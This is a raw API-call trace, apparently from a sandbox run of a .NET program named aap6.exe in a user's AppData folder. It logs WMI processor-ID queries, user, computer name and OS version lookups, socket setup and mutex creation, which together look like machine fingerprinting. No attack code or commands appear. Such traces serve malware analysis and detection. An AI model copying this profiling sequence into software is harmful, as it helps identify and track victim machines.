	[0127.785] CoGetContextToken (in: pToken=0x2de304 | out: pToken=0x2de304) returned 0x0
	[0127.785] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0127.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de380*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de37c | out: ppvObject=0x2de37c*=0x50ada88) returned 0x0
	[0127.786] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0127.786] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de504*=0xf, pszText="00000000000000" | out: puBuffLength=0x2de504*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0127.786] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0127.786] CoGetContextToken (in: pToken=0x2de33c | out: pToken=0x2de33c) returned 0x0
	[0127.786] CoGetContextToken (in: pToken=0x2de2fc | out: pToken=0x2de2fc) returned 0x0
	[0127.786] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0127.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de378*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de374 | out: ppvObject=0x2de374*=0x50ada88) returned 0x0
	[0127.786] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0127.786] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50ada88, puCount=0x2de4f0 | out: puCount=0x2de4f0*=0x2) returned 0x0
	[0127.786] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0127.786] CoGetContextToken (in: pToken=0x2de32c | out: pToken=0x2de32c) returned 0x0
	[0127.786] CoGetContextToken (in: pToken=0x2de2ec | out: pToken=0x2de2ec) returned 0x0
	[0127.786] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0127.786] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de368*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de364 | out: ppvObject=0x2de364*=0x50ada88) returned 0x0
	[0127.787] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0127.787] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de4ec*=0x0, pszText=0x0 | out: puBuffLength=0x2de4ec*=0xf, pszText=0x0) returned 0x0
	[0127.787] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0127.787] CoGetContextToken (in: pToken=0x2de32c | out: pToken=0x2de32c) returned 0x0
	[0127.787] CoGetContextToken (in: pToken=0x2de2ec | out: pToken=0x2de2ec) returned 0x0
	[0127.787] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0127.787] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de368*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de364 | out: ppvObject=0x2de364*=0x50ada88) returned 0x0
	[0127.787] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0127.787] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de4ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x2de4ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0127.787] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0127.789] IWbemClassObject:Get (in: This=0x50b4c70, wszName="processorID", lFlags=0, pVal=0x2de4ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2559d50*=0, plFlavor=0x2559d54*=0 | out: pVal=0x2de4ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x2559d50*=8, plFlavor=0x2559d54*=0) returned 0x0
	[0127.789] SysStringLen (param_1="0F8BFBFF000506E3") returned 0x10
	[0127.789] IWbemClassObject:Get (in: This=0x50b4c70, wszName="processorID", lFlags=0, pVal=0x2de4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2559d50*=8, plFlavor=0x2559d54*=0 | out: pVal=0x2de4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000506E3", varVal2=0x0), pType=0x2559d50*=8, plFlavor=0x2559d54*=0) returned 0x0
	[0127.789] SysStringLen (param_1="0F8BFBFF000506E3") returned 0x10
	[0127.790] CoGetContextToken (in: pToken=0x2de28c | out: pToken=0x2de28c) returned 0x0
	[0127.790] IUnknown:AddRef (This=0x50b4c24) returned 0x3
	[0127.790] IEnumWbemClassObject:Next (in: This=0x50b4c24, lTimeout=-1, uCount=0x1, apObjects=0x761048, puReturned=0x2558848 | out: apObjects=0x761048*=0x0, puReturned=0x2558848*=0x0) returned 0x1
	[0127.790] IUnknown:Release (This=0x50b4c24) returned 0x2
	[0127.791] CoGetContextToken (in: pToken=0x2de3d8 | out: pToken=0x2de3d8) returned 0x0
	[0127.791] IUnknown:Release (This=0x7b79e4) returned 0x1
	[0127.791] IUnknown:Release (This=0x50b4c24) returned 0x0
	[0128.020] GetUserNameW (in: lpBuffer=0x79c5e0, pcbBuffer=0x256be5c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x256be5c) returned 1
	[0128.021] GetComputerNameW (in: lpBuffer=0x79c5e0, nSize=0x256c0d0 | out: lpBuffer="XABNCPUWKW", nSize=0x256c0d0) returned 1
	[0128.142] GetVersionExW (in: lpVersionInformation=0x79c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x79c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0128.142] GetLastError () returned 0x0
	[0128.144] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de02c | out: TokenHandle=0x2de02c*=0x314) returned 1
	[0128.144] GetLastError () returned 0x3f0
	[0128.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x2ddbc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e
	[0128.146] GetLastError () returned 0x0
	[0128.147] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x2de068 | out: lpFileInformation=0x2de068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1
	[0128.147] GetLastError () returned 0x0
	[0128.148] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x31c
	[0128.148] GetLastError () returned 0x0
	[0128.160] CloseHandle (hObject=0x31c) returned 1
	[0128.160] GetLastError () returned 0x0
	[0128.160] GetCurrentProcess () returned 0xffffffff
	[0128.160] GetLastError () returned 0x3f0
	[0128.160] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de2bc | out: TokenHandle=0x2de2bc*=0x31c) returned 1
	[0128.160] GetLastError () returned 0x3f0
	[0128.161] GetCurrentProcess () returned 0xffffffff
	[0128.161] GetLastError () returned 0x3f0
	[0128.161] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de2bc | out: TokenHandle=0x2de2bc*=0x318) returned 1
	[0128.161] GetLastError () returned 0x3f0
	[0128.162] GetCurrentProcess () returned 0xffffffff
	[0128.162] GetLastError () returned 0x3f0
	[0128.162] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de02c | out: TokenHandle=0x2de02c*=0x320) returned 1
	[0128.162] GetLastError () returned 0x3f0
	[0128.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2de06c | out: lpFileInformation=0x2de06c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0128.162] GetLastError () returned 0x2
	[0128.162] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe.config", nBufferLength=0x105, lpBuffer=0x2ddb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe.config", lpFilePart=0x0) returned 0x31
	[0128.162] GetLastError () returned 0x2
	[0128.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x2de068 | out: lpFileInformation=0x2de068*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0128.162] GetLastError () returned 0x2
	[0128.162] GetCurrentProcess () returned 0xffffffff
	[0128.162] GetLastError () returned 0x3f0
	[0128.162] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de2bc | out: TokenHandle=0x2de2bc*=0x324) returned 1
	[0128.162] GetLastError () returned 0x3f0
	[0128.163] GetCurrentProcess () returned 0xffffffff
	[0128.163] GetLastError () returned 0x3f0
	[0128.163] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de2bc | out: TokenHandle=0x2de2bc*=0x328) returned 1
	[0128.163] GetLastError () returned 0x3f0
	[0128.172] GetCurrentProcess () returned 0xffffffff
	[0128.172] GetLastError () returned 0x3f0
	[0128.173] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de098 | out: TokenHandle=0x2de098*=0x32c) returned 1
	[0128.173] GetLastError () returned 0x3f0
	[0128.178] GetCurrentProcess () returned 0xffffffff
	[0128.178] GetLastError () returned 0x3f0
	[0128.178] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de0a8 | out: TokenHandle=0x2de0a8*=0x330) returned 1
	[0128.178] GetLastError () returned 0x3f0
	[0128.182] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x334
	[0128.182] GetLastError () returned 0x0
	[0128.182] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x338
	[0128.182] GetLastError () returned 0x0
	[0128.188] GetCurrentProcess () returned 0xffffffff
	[0128.188] GetLastError () returned 0x3f0
	[0128.188] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de08c | out: TokenHandle=0x2de08c*=0x33c) returned 1
	[0128.188] GetLastError () returned 0x3f0
	[0128.189] GetCurrentProcess () returned 0xffffffff
	[0128.189] GetLastError () returned 0x3f0
	[0128.189] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de09c | out: TokenHandle=0x2de09c*=0x340) returned 1
	[0128.189] GetLastError () returned 0x3f0
	[0128.192] GetCurrentProcess () returned 0xffffffff
	[0128.192] GetLastError () returned 0x3f0
	[0128.192] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de060 | out: TokenHandle=0x2de060*=0x344) returned 1
	[0128.192] GetLastError () returned 0x3f0
	[0128.192] GetCurrentProcess () returned 0xffffffff
	[0128.192] GetLastError () returned 0x3f0
	[0128.193] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de070 | out: TokenHandle=0x2de070*=0x348) returned 1
	[0128.193] GetLastError () returned 0x3f0
	[0128.194] GetCurrentProcess () returned 0xffffffff
	[0128.194] GetLastError () returned 0x3f0
	[0128.194] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2de364 | out: TokenHandle=0x2de364*=0x34c) returned 1
	[0128.194] GetLastError () returned 0x3f0
	[0128.200] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x2dd3c4 | out: phkResult=0x2dd3c4*=0x350) returned 0x0
	[0128.201] RegQueryValueExW (in: hKey=0x350, lpValueName="InstallationType", lpReserved=0x0, lpType=0x2dd40c, lpData=0x0, lpcbData=0x2dd408*=0x0 | out: lpType=0x2dd40c*=0x1, lpData=0x0, lpcbData=0x2dd408*=0xe) returned 0x0
	[0128.202] RegQueryValueExW (in: hKey=0x350, lpValueName="InstallationType", lpReserved=0x0, lpType=0x2dd40c, lpData=0x79c5e0, lpcbData=0x2dd408*=0xe | out: lpType=0x2dd40c*=0x1, lpData="Client", lpcbData=0x2dd408*=0xe) returned 0x0
	[0128.202] RegCloseKey (hKey=0x350) returned 0x0
	[0128.210] RasEnumConnectionsW (in: param_1=0x7c7738, param_2=0x2de3dc, param_3=0x2de3e0 | out: param_1=0x7c7738, param_2=0x2de3dc, param_3=0x2de3e0) returned 0x0
	[0128.217] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7c7738 | out: lpWSAData=0x7c7738) returned 0
	[0128.228] GetLastError () returned 0x0
	[0128.231] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x390
	[0128.235] GetLastError () returned 0x0
	[0128.235] setsockopt (s=0x390, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0128.235] GetLastError () returned 0x273a
	[0128.235] closesocket (s=0x390) returned 0
	[0128.236] GetLastError () returned 0x0
	[0128.236] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x390
	[0128.237] GetLastError () returned 0x0
	[0128.237] setsockopt (s=0x390, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0128.237] GetLastError () returned 0x273a
	[0128.237] closesocket (s=0x390) returned 0
	[0128.237] GetLastError () returned 0x0
	[0128.239] GetCurrentProcess () returned 0xffffffff
	[0128.239] GetLastError () returned 0x3f0
	[0128.239] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ddf48 | out: TokenHandle=0x2ddf48*=0x390) returned 1
	[0128.239] GetLastError () returned 0x3f0
	[0128.240] GetCurrentProcess () returned 0xffffffff
	[0128.240] GetLastError () returned 0x3f0
	[0128.240] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x2ddf58 | out: TokenHandle=0x2ddf58*=0x394) returned 1
	[0128.240] GetLastError () returned 0x3f0
	[0128.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", nBufferLength=0x105, lpBuffer=0x2ddd54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", lpFilePart=0x0) returned 0x2a
	[0128.251] GetLastError () returned 0x3f0
	[0128.252] GetCurrentProcessId () returned 0xa10
	[0128.253] GetComputerNameW (in: lpBuffer=0x7c7738, nSize=0x25929dc | out: lpBuffer="XABNCPUWKW", nSize=0x25929dc) returned 1
	[0128.254] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x2de1ac | out: phkResult=0x2de1ac*=0x398) returned 0x0
	[0128.254] RegQueryValueExW (in: hKey=0x398, lpValueName="Library", lpReserved=0x0, lpType=0x2de1f4, lpData=0x0, lpcbData=0x2de1f0*=0x0 | out: lpType=0x2de1f4*=0x1, lpData=0x0, lpcbData=0x2de1f0*=0x1c) returned 0x0
	[0128.254] RegQueryValueExW (in: hKey=0x398, lpValueName="Library", lpReserved=0x0, lpType=0x2de1f4, lpData=0x7c7738, lpcbData=0x2de1f0*=0x1c | out: lpType=0x2de1f4*=0x1, lpData="netfxperf.dll", lpcbData=0x2de1f0*=0x1c) returned 0x0
	[0128.254] RegQueryValueExW (in: hKey=0x398, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x2de1f4, lpData=0x0, lpcbData=0x2de1f0*=0x0 | out: lpType=0x2de1f4*=0x4, lpData=0x0, lpcbData=0x2de1f0*=0x4) returned 0x0
	[0128.255] RegQueryValueExW (in: hKey=0x398, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x2de1f4, lpData=0x2de1e0, lpcbData=0x2de1f0*=0x4 | out: lpType=0x2de1f4*=0x4, lpData=0x2de1e0*=0x1, lpcbData=0x2de1f0*=0x4) returned 0x0
	[0128.256] RegQueryValueExW (in: hKey=0x398, lpValueName="First Counter", lpReserved=0x0, lpType=0x2de1f4, lpData=0x0, lpcbData=0x2de1f0*=0x0 | out: lpType=0x2de1f4*=0x4, lpData=0x0, lpcbData=0x2de1f0*=0x4) returned 0x0
	[0128.256] RegQueryValueExW (in: hKey=0x398, lpValueName="First Counter", lpReserved=0x0, lpType=0x2de1f4, lpData=0x2de1e0, lpcbData=0x2de1f0*=0x4 | out: lpType=0x2de1f4*=0x4, lpData=0x2de1e0*=0x137a, lpcbData=0x2de1f0*=0x4) returned 0x0
	[0128.256] RegCloseKey (hKey=0x398) returned 0x0
	[0128.257] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x2de1a8 | out: phkResult=0x2de1a8*=0x398) returned 0x0
	[0128.257] RegQueryValueExW (in: hKey=0x398, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x2de1f0, lpData=0x0, lpcbData=0x2de1ec*=0x0 | out: lpType=0x2de1f0*=0x4, lpData=0x0, lpcbData=0x2de1ec*=0x4) returned 0x0
	[0128.257] RegQueryValueExW (in: hKey=0x398, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x2de1f0, lpData=0x2de1dc, lpcbData=0x2de1ec*=0x4 | out: lpType=0x2de1f0*=0x4, lpData=0x2de1dc*=0x3, lpcbData=0x2de1ec*=0x4) returned 0x0
	[0128.257] RegQueryValueExW (in: hKey=0x398, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x2de1f0, lpData=0x0, lpcbData=0x2de1ec*=0x0 | out: lpType=0x2de1f0*=0x4, lpData=0x0, lpcbData=0x2de1ec*=0x4) returned 0x0
	[0128.257] RegQueryValueExW (in: hKey=0x398, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x2de1f0, lpData=0x2de1dc, lpcbData=0x2de1ec*=0x4 | out: lpType=0x2de1f0*=0x4, lpData=0x2de1dc*=0x20000, lpcbData=0x2de1ec*=0x4) returned 0x0
	[0128.257] RegQueryValueExW (in: hKey=0x398, lpValueName="Counter Names", lpReserved=0x0, lpType=0x2de1f0, lpData=0x0, lpcbData=0x2de1ec*=0x0 | out: lpType=0x2de1f0*=0x3, lpData=0x0, lpcbData=0x2de1ec*=0xaa) returned 0x0
	[0128.257] RegQueryValueExW (in: hKey=0x398, lpValueName="Counter Names", lpReserved=0x0, lpType=0x2de1f0, lpData=0x2595180, lpcbData=0x2de1ec*=0xaa | out: lpType=0x2de1f0*=0x3, lpData=0x2595180*, lpcbData=0x2de1ec*=0xaa) returned 0x0
	[0128.259] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1
	[0128.260] GetLastError () returned 0x0
	[0128.263] LocalFree (hMem=0x79d3b0) returned 0x0
	[0128.263] RegCloseKey (hKey=0x398) returned 0x0
	[0128.264] GetVersionExW (in: lpVersionInformation=0x7c7738*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x7c7738*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0128.264] GetLastError () returned 0x0
	[0128.264] GetVersionExW (in: lpVersionInformation=0x7c7738*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x7c7738*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0128.264] GetLastError () returned 0x0
	[0128.265] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2595c28, cbSid=0x2de1a0 | out: pSid=0x2595c28*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de1a0) returned 1
	[0128.265] GetLastError () returned 0x0
	[0128.266] CreateMutexW (lpMutexAttributes=0x2595d78, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.266] GetLastError () returned 0x0
	[0128.267] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2595f4c, cbSid=0x2de160 | out: pSid=0x2595f4c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de160) returned 1
	[0128.267] GetLastError () returned 0x0
	[0128.267] CreateMutexW (lpMutexAttributes=0x259605c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0
	[0128.267] GetLastError () returned 0x5
	[0128.268] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x3a4
	[0128.268] GetLastError () returned 0x5
	[0128.268] CloseHandle (hObject=0x3a4) returned 1
	[0128.268] GetLastError () returned 0x5
	[0128.268] GetCurrentProcessId () returned 0xa10
	[0128.270] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa10) returned 0x3a4
	[0128.270] GetLastError () returned 0x5
	[0128.271] GetProcessTimes (in: hProcess=0x3a4, lpCreationTime=0x2de164, lpExitTime=0x2de15c, lpKernelTime=0x2de15c, lpUserTime=0x2de15c | out: lpCreationTime=0x2de164, lpExitTime=0x2de15c, lpKernelTime=0x2de15c, lpUserTime=0x2de15c) returned 1
	[0128.271] GetLastError () returned 0x5
	[0128.271] CloseHandle (hObject=0x3a4) returned 1
	[0128.271] GetLastError () returned 0x5
	[0128.271] CloseHandle (hObject=0x398) returned 1
	[0128.271] GetLastError () returned 0x5
	[0128.271] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x25969e0, cbSid=0x2de1a0 | out: pSid=0x25969e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de1a0) returned 1
	[0128.271] GetLastError () returned 0x5
	[0128.272] CreateMutexW (lpMutexAttributes=0x2596af0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.272] GetLastError () returned 0x0
	[0128.273] CloseHandle (hObject=0x398) returned 1
	[0128.273] GetLastError () returned 0x0
	[0128.273] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2597408, cbSid=0x2de1a0 | out: pSid=0x2597408*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de1a0) returned 1
	[0128.273] GetLastError () returned 0x0
	[0128.273] CreateMutexW (lpMutexAttributes=0x2597518, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.273] GetLastError () returned 0x0
	[0128.273] CloseHandle (hObject=0x398) returned 1
	[0128.273] GetLastError () returned 0x0
	[0128.273] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2597ce8, cbSid=0x2de1a0 | out: pSid=0x2597ce8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de1a0) returned 1
	[0128.273] GetLastError () returned 0x0
	[0128.274] CreateMutexW (lpMutexAttributes=0x2597df8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.274] GetLastError () returned 0x0
	[0128.274] CloseHandle (hObject=0x398) returned 1
	[0128.274] GetLastError () returned 0x0
	[0128.274] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x25985c0, cbSid=0x2de1a0 | out: pSid=0x25985c0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de1a0) returned 1
	[0128.274] GetLastError () returned 0x0
	[0128.274] CreateMutexW (lpMutexAttributes=0x25986d0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.274] GetLastError () returned 0x0
	[0128.274] CloseHandle (hObject=0x398) returned 1
	[0128.274] GetLastError () returned 0x0
	[0128.274] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2598e5c, cbSid=0x2de198 | out: pSid=0x2598e5c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de198) returned 1
	[0128.274] GetLastError () returned 0x0
	[0128.275] CreateMutexW (lpMutexAttributes=0x2598f6c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.275] GetLastError () returned 0x0
	[0128.275] CloseHandle (hObject=0x398) returned 1
	[0128.275] GetLastError () returned 0x0
	[0128.275] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2599704, cbSid=0x2de198 | out: pSid=0x2599704*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de198) returned 1
	[0128.275] GetLastError () returned 0x0
	[0128.275] CreateMutexW (lpMutexAttributes=0x2599814, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x398
	[0128.275] GetLastError () returned 0x0
	[0128.275] CloseHandle (hObject=0x398) returned 1
	[0128.275] GetLastError () returned 0x0
	[0128.276] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2599f88, cbSid=0x2de198 | out: pSid=0x2599f88*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x2de198) returned 1
	[0128.276] GetLastError () returned 0x0
